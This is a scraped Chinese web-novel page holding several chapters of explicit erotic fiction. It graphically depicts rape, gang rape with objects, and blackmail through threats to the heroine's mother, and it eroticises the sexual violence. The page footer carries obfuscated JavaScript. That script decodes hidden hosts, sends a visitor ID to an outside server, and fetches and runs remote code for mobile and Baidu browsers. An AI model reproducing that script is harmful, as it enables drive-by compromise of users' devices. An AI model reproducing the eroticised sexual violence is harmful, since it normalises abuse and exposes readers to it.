  客房里有一面巨大的落地窗,窗外望去是小小的花园和一座低矮的山。清早山上有鸟雀飞动,枝叶簌簌,让她感觉清新美丽。
  她整理好身上的衣服下床,差点又栽倒在地上。昨天的事情令她倍感羞耻,尤其是在左楠手里,竟然先后经历了三次高潮。现在的筋骨酸软一定就是昨天的问题。苏米坐在地上靠着墙壁,不想再站起来了。
  良久,客房的门被敲响了。“苏小姐,你醒了吗?”
  苏米一愣。昨夜在浴缸里,他是呼喊她全名的。
  听不到回应,左楠打开了门。苏米坐在床边的地面上,睁着大而无神的眼睛看他。左楠走过去想将她抱起来,不料被苏米推开了。
  “怎麽了?”左楠好脾气地问。
  苏米凝神他的眼睛。即使是看上去那麽好脾气的左楠,她也能感觉到他其实没有任何情绪。不是关心,不是紧张,也不是疼惜。是那种例行公事的问候,和昨晚的他已经完全不一样了。
  “其实没有什麽要调查的高管对不对?”苏米低声询问。
  左楠明显一愣。
  “其实社长也知道这件事对不对?是他把我推向你的老大,对不对?”苏米控制住自己,但声音颤抖,带了微弱的哭腔。
  “你的社长获得了五十万。”左楠用简短的一句话回答了她的所有问题。
  苏米注视着他,眼眶中的泪水转来转去,但最终都没有流下来。
  “没事了就去吃早餐吧。完了我送你回去。”左楠说着,向她伸出手。苏米握着左楠的手,被左楠扶了起来。虽然左楠知道抱着她走到一楼会更简单,但是看来苏米明显的,不希望他这样做。
  早餐是简单的炒面和水果沙拉。苏米只吃了一点就放下了叉子。左楠没理会她,认真吃完了自己的那份。
  “送你回去。”左楠收拾好餐具之后说。
  苏米知道,左楠会这样照顾自己只是因为穆廷风的吩咐。甚至这样已经是他的大发善心了,毕竟他不需要做到这个地步。苏米点了点头。
  左楠不知从哪里拿出了几件衣服给她:“我不太会买女孩子的衣服,你随便穿穿吧。”
  苏米打开袋子,发现全是宽松的衬衫和裙子。让她惊讶的是,他居然连胸罩都买了,而且尺码是对的。
  果然是老手。苏米脸红红地道谢,转身要走上楼的时候又差点摔倒。她走路的时候姿势十分怪异,因为下体依旧疼痛难当,她也无法直腰。
  “这样吧,我晚上再送你回去。你今天先休息一下,我帮你去买药。”
  “呃……这、这次,我自己涂就可以了。”苏米磕磕巴巴地说。
  左楠露出“我明白”的微笑,转身离开了。
  在客厅里等候左楠的苏米不知怎麽坐才好,最后决定侧躺着。因为无论是坐着还是站着,都疼。
  苏米一个人住是今年年初的事情。元宵节的那天早上,她开开心心地打开窗,看到漫天飞舞的雪花堆满了窗台。就在她踏出自己房间的时候,突然被走廊上的粘稠血迹滑到了。苏米扑倒在地上,看到自己前方两米处,父亲身体和四肢完全分离的尸体。她美丽的母亲将父亲的头颅紧抱着,正用一把菜刀狠狠地砸:卖我、卖我、卖我、卖我……
  当时的苏米完全不知道母亲在说什麽,她根本没有正确地反应出发生了什麽事情。后来母亲看到她,抓起菜刀爬到她身边,见到她恐惧的眼神,突然哭了。满是血腥气的泪水滴到苏米脸上,她怕得全身颤抖,推开了试图拥抱自己的妈妈。
  之后妈妈就拿着菜刀,从二楼的阳台上跳了下去。
  一个月之后,苏米接到了律师的通知。经过鉴定,苏米的母亲患有严重的精神分裂症,她对自己所做的事情毫无感知能力。那天下着冰冷的雨。初春的雨特别冷,特别冻。苏米蹲在律师事务所的楼下角落大哭。她知道自己永远地失去了父亲和母亲。
  父亲和母亲一直都很恩爱,苏米不知道是什麽导致了母亲举起菜刀。母亲的精神分裂症明明就治好了,医院都已经通知说可以回家了。可是回家还不到半年,她就砍死了自己的丈夫。
  母亲……母亲……昨天的穆廷风说自己是母亲最恨的人。母亲是一个非常美丽的女人,苏米遗传了妈妈的外貌和父亲的性格,称得上是一个大方好看的姑娘。一个好看的姑娘总是有很多男人围绕。妈妈也一样,即使是结了婚,时不时还是会有男人纠缠。
  穆廷风也是吗?可是那张旧旧的明信片上的邮戳是二十几年前,那个时候妈妈好像才刚刚和爸爸结婚。他们是旧识?有多深的感情?为什麽妈妈会恨他?为什麽他要对我做这样的事情?
  冷静下来的苏米不再花力气和时间哭泣和怨天尤人。她试图找出这一切的原因,不然她预感到,自己将会遭遇到更多来自穆廷风的龌蹉事。
  左思右想,不知不觉过了一个多小时,左楠回来了。
  苏米接过左楠的药膏,要求自己来涂。左楠告别她之后就出门了,拿着药膏的苏米又面临了和昨天一模一样的问题:怎麽涂,涂不到……
  等到她气喘吁吁地涂好药膏,已经出了一身的汗,手上一片滑腻,不知是药膏还是自己分泌的淫液。苏米脸又红了,但无奈自己现在无法移动,根据说明书,涂完药膏之后患处不能牵扯,必须静止。那也就是说,自己不能走了。
  那就只能躺着休息了。苏米从原先坐着的地摊上移动到沙发,躺了下来。这一躺她就睡到了中午。
  左楠回到家里的时候,看到的就是正睡在沙发上的苏米。苏米还穿着他昨天给她的白衬衫,看来是没有气力自己换衣服。左楠走过去想叫醒她,猛地发现这个女孩子没有穿内裤。
  内裤被扔在了地摊上,打开的药膏还没盖好。左楠立刻明白发生了什麽事。他小心地掀开苏米的衬衫察看她的下体。因为怕擦到伤处,苏米是大张着腿睡过去的,左楠很轻易就看到了她的全部。
  昨天给他挺深印象的粉色花瓣现在已经有恢复的迹象了,只是还十分颓靡。花瓣中央的穴口已经消肿,而且微微张开着,他能看到白色药膏,也能闻到药膏发出的古怪气味。花瓣和穴口随着苏米的呼吸一张一合,左楠将一根手指伸到穴口处,明显地感觉到了吸力。他轻轻一碰花核,苏米的身体就轻颤一下,紧接着穴口就流出了一些闪亮的黏液。
  左楠不由得笑起来。好可爱的身体。
  很快他拍拍自己的脸,保持了不苟言笑的面具。
  苏米醒来的时候房子里空无一人,但面前的桌上放着两份热气腾腾的午餐。左楠留下的纸条上写着挺拔的字体:“恢复得很好,不用担心。我晚上大概九点回来,送你回去。”
  苏米眨眨眼,脸又红了。他肯定是看过了,不然怎麽知道“恢复得很好”?她连忙抓过自己的内裤想穿,却发现内裤上居然有了一滩夹杂着血丝的爱液。苏米将内裤抓好,生怕被谁看见。看来是昨晚睡觉的时候,受损的地方又在自己分泌黏液疗伤了。 她今天居然完全没有发现。
  吃了午餐之后,苏米艰难地移动到楼梯,走上楼进了自己的房间。房间的床上放着她在酒店更衣室留下来的衣服、钱包和手机。这些很明显都是左楠做的。
  苏米心底有些感激。
  手机没电了,又没有充电器。苏米躺在床上,很快睡了过去。  
作家的话:
女主的妈妈的故事也会写出来的~


☆、06.再一次的...
左楠送她回到家里已经是十一点了。左楠停好车之后,陪着她一起上楼。苏米住在旧式的宿舍楼里,一层有一个走廊,走廊的一侧分布着五间房子。苏米家住在尽头,比别人家多出一个走廊的宽度。左楠和苏米走过走廊的时候,其他四户人家的灯光渐次亮了起来。有人探头出来问苏米怎麽昨天没回家,左楠转头微笑,以男朋友的口气说:“我爸妈想见见苏米,昨天晚上一直在陪我妈聊天呢。”
  苏米脸早红了。探头出来的大妈露出尴尬神情,哂笑着缩了回去,灯光又一盏盏地灭了。
  进门之后左楠没有坐下,简单告别就走了。苏米站在窗台,看到左楠的车子缓缓驶了出去。应该就这样了吧,永远不会再见到了。
  她转身看着冷冷清清的房子。妈妈住进了精神病院之后就一直只有她一个人在这里了,虽然一切都是熟悉的东西,但她突然很害怕一个人呆着。
  第二天早晨七点多的时候,正在做早餐的她听到了敲门声。
  从猫眼望出去,是一个带着蓝色帽子的年轻男人:“快递,从老山精神病院寄过来的。”
  妈妈住的地方?苏米立刻打开了门。
  但门开了之后,涌进来的是好几个戴着帽子的年轻人。
  “你们是……!”
  方才在门外应答的年轻人已经带上了一个黑色的面具。和他一样,其余冲入房中的四个年轻人脸上也都戴着面具。
  “好可爱的脸。”两根手指攀上苏米的下巴,她的双手和双臂完全被他们钳制了。胸部被两只细长的手揉着:“胸部也好大哦,你们看!”
  苏米顿时明白发生了什麽。可怕的绝望感瞬间充满了她的心里,她想发出叫喊声,但为首的年轻人朝她亮出了一封信函,果然是来自精神病院的。
  苏米一下子颓靡下来,失去了所有的反抗力气。被穆廷风和他的人强暴之后她不是没有想过报警,但是对方是知道妈妈的存在的。在那种连女儿都无法进入病房的病院里,她不能肯定妈妈是否真的能安然无恙。
  看到苏米不再反抗,年轻人们将她拖到了厨房。
  “老头子说我们只能玩后面的洞,好不爽哦。”有一个稚嫩的声音发出遗憾的话语。
  为首的年轻人轻轻一笑:“看你怎麽玩咯。”
  他们将她卧室里的镜子拖了出来,摆在苏米的面前。“好好看看自己的样子哦。看看自己被我们玩弄的样子。”为首的年轻人站在镜子前,望着镜子里的她,“一定会很美吧?所以我们连DV都准备好了。”
  苏米眼中掠过凄惨的神色。
  妈妈是怎麽疯掉的呢?
  妈妈,我也好想发疯啊……
  左楠提着他卖给苏米但是苏米忘记拿的衣服来到苏米家中的时候,正好看见几个带着蓝色帽子的年轻人从楼上走下来。
  “是极品诶!我们还能再玩吗?”
  “等通知吧,能玩最好了,胸部那麽大的也很少见啊。”
  年轻人发出猥琐的笑声,和左楠擦肩而过。左楠脸色一变,立刻拔腿朝楼上冲去。
  苏米家的门没有关,走廊上异常安静。左楠走进去的时候吓了一跳:苏米的家里一片混乱,她坐在门边的厨房柜子下方,双眼充满了死气。
  左楠将手中的东西抛到一边,走到她身边。苏米的样子和那天晚上很像,头发凌乱,身上都是被掐或者被咬的痕迹,身下一摊精液,还有更多的从她的……后庭中淌出来。
  苏米的花穴沾满了粘稠的液体,但似乎没有受到侵犯,相反的,后庭的菊蕾红肿破裂,粉色的肠肉都被拉了出来,突在空气里。
  “苏米!苏米!”左楠拍打苏米的脸颊,试图将她的意识唤回来。
  苏米转头用陌生的眼神看他。左楠心里没来由的一阵害怕,紧接着苏米就开口了:“我……哭不出来……”
  左楠顿时松了一口气。还会说话,就表示精神没有被毁。他将苏米抱起,有血滴和白浆滴落下来。苏米窝在他的颈窝里,终于低声哭了出来。
  “苏米,去我家好吗?”左楠发觉自己的声音从未有如此温柔,“你要带什麽吗?”
  “……不,什麽都不带。”苏米低声说。
  为苏米披上衣服之后,左楠抱着她离开了。在回头关门的时候,左楠看到在厨房地板上的锅铲和菜刀。锅铲的柄和菜刀的柄都沾着稀少的血液和其他闪亮的液体,它们就堆放在苏米刚刚坐着的地方。左楠脑中有一根弦猛地断了。
作家的话:
好像虐女主的情节基本结束了……


☆、07.复原
  回到自己的住处,左楠将苏米抱进客房。一切和那天晚上很像:他将她带回来,为她洗身子、换衣服。
  苏米很奇怪,她的哭泣在车上就停止了,整个人看上去都十分颓靡。左楠认为这是她精神上受到伤害的表现。将苏米放入浴缸之中,左楠问她:“我帮你洗,好吗?”
  少女带着眼泪点点头。那个地方她根本连伸手去触碰都不愿意,何况是清洗。
  为了让苏米不再看着患处,左楠与她面对面,将她抱进怀里。少女的身体非常柔软,胸前两团洁白的软肉压在左楠赤裸的胸口,这令他产生了奇怪的感觉。他就这样抱着苏米,让苏米跨坐在自己身上,她的后庭就暴露在他的手下了。
  左楠并不急着立刻就开始清洗,他照例先缓慢地洗濯少女的身体外部。
  今天的这一次,苏米的头发、乳房和手上都沾满了精液,腥臭不堪。苏米自己也闻到这种恶心的气味,但她没力气起身。而且这样被左楠抱着,她心里有一种奇妙的安全感。左楠让苏米坐正,帮她揉搓胸部。苏米的胸部显然是那几个年轻人攻击的部位之一,上面居然布满了细微的血痕。左楠看不出这是怎样造成的,但当他的手就着温热的水擦过苏米的乳尖,苏米发出忍耐着痛楚的呻吟。
  “……是刷子。”苏米突然开口了。
  “……”左楠心中一惊。
  “好痛……”苏米弯着腰,将头埋在左楠的颈窝里。
  左楠不声不响,手上的动作却更加温柔。
  苏米的花穴这一次安然无恙,左楠心知这是穆廷风的命令。
  从穆廷风让他去接触某个侦探社的社长开始, 穆廷风的报复就开始了。左楠不知道前因后果,但显然穆廷风对某个女人怀着极深的恨意,或者是爱意。在穆廷风的办公桌上有一个相框,左楠每周都会更换照片。照片上无一例外都是一个卷发的美丽女人,有些照片是她少女时候的,有一些是她抱着一个小婴儿的,有一些则是她在床上、媚眼迷离的。总之,全都是她。穆廷风很喜欢在没事的时候拿起相框端详。他有时候露出宠溺又为肉的笑容,有时候却又盯着照片,面目阴沈,眼神里充满了让人心寒的恨意。
  左楠不知道这一切的原因。他不想知道,也没有资格知道。他只是穆廷风的一个秘书,主要帮他解决一些上不了台面的事情;穆廷风昨天已经知道了左楠收留苏米一天,他不置可否地笑笑,没有任何表示。照以往的经验来说,没有任何表示就意味着──默许。
  反正,不管是由谁来保护,穆廷风想伤害的人总是有方法去伤害的。
  苏米不再说痛了。她纤细柔软的手抓住左楠背,这个姿势真的很像两个人在交欢。
  他将苏米后庭外露的肠肉小心地塞了回去,苏米发出被压制的痛吟,手指几乎刺入了他的背部。
  那些人非常粗暴,苏米的肛门被严重撕裂,肿胀的出口被抚平之后,流出来的肠液、精液全都混杂着鲜红的血。左楠心想幸好她没有看到,这对她来说太残忍了。
  整个清洗过程持续了将近两个小时,苏米体内的东西才基本被清理干净。左楠为她擦干头发和身体,将她放在床上。苏米还清醒着,恢复清明的眼睛注视着为自己盖上被子的左楠。
  这次她的恢复过程比原来快多了。左楠说的不是身体,而是精神方面。穆廷风很擅长通过摧毁女人的肉体来毁坏她们的精神,但苏米显然撑住了,或者说她已经开始习惯身体被破坏的节奏,精神上反而强韧起来了。
  左楠想称赞她。
  “很有精神,状态不错,好好休息。”
  苏米微笑:“因为想到妈妈,所以觉得还不错。”
  看着她的笑,左楠心里掠过一丝异样的诡异感觉。他拍拍苏米的头,准备离开的时候苏米拉住了他的手。“陪陪我可以吗?”
  心中微妙的地方软化了。左楠点点头,坐在了她的床边看着她入睡。
  这之后过了将近一周。苏米在晚上依旧不能一个人入睡,她常常在梦中发出可怕的惊叫和怪异的笑声,左楠为了方便照顾她,让她睡在了自己的床上。
  这一天穆廷风找他去安排工作,完成了之后穆廷风笑眯眯地说:“左楠,最近很快乐吧。”
  左楠低头不语。
  “不过你又不能和女人做,天天放着在家里有什麽用呢?”
  左楠依旧沈默不语。
  “还是说,你忘记了你当时对那个尸体做的事情吗?”穆廷风狞笑着凑近他的耳朵。
  左楠终于颤抖起来。良久他才克制住自己保持了平静:“左楠只是当做,养了一只可以做家务的宠物。”
  这件事就这样过去了,但他回到家中,看到苏米在厨房里煮汤,心里莫名其妙地开始难过。
  苏米的伤已经好了,昨晚入睡的时候她跟左楠说,明天为他做一顿饭当做谢礼。左楠心里就想着,她到底会做怎样的饭。今天一看,原来是普通的骨头汤和家常便饭,但香气扑鼻,引得人食指大动。
  “你回来啦!诶?你笑什麽?”苏米开开心心地转头,猛地看到左楠靠在厨房玻璃门上看自己。
  左楠愣了一下,摸摸自己的脸。他不知道自己笑了。
  “好像很好吃的样子。”
  “好像而已,说不定不好吃呢。”
  左楠又笑了。他今天笑得那麽多,真的太奇怪。苏米是一只可以做家务的宠物吗?不是的,所有的家务都是他在做,他简直不想让她因为下地和走路再伤一次。这简直不正常。
  晚饭很好吃。他一边吃一边小心眼地想,虽然和自己做的还有一段距离,但是已经很不错了。
  苏米吃完饭之后说:“比不上你做的好吃呢。”左楠在这几天里每天晚上都做饭,他一直宅着练出来的手艺获得了唯一一个鉴赏者的认可。左楠不动声色地点头承认了。
  俩人在沙发上看完一部电影之后已经将近十一点。现在苏米已经很习惯贴在他身边了,他们坐在一起,苏米靠在他怀里,左楠也很自然地用手圈着苏米的腰。就连在床上的时候,他也会拥抱着苏米。苏米若是不感受到左楠的温度,会一整夜都睡不着,或者不断地做恶梦。左楠很多次想问她为何会尖叫和发出可怕的笑声,但他问不出口。
  “睡觉咯。”左楠温柔地说。

热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};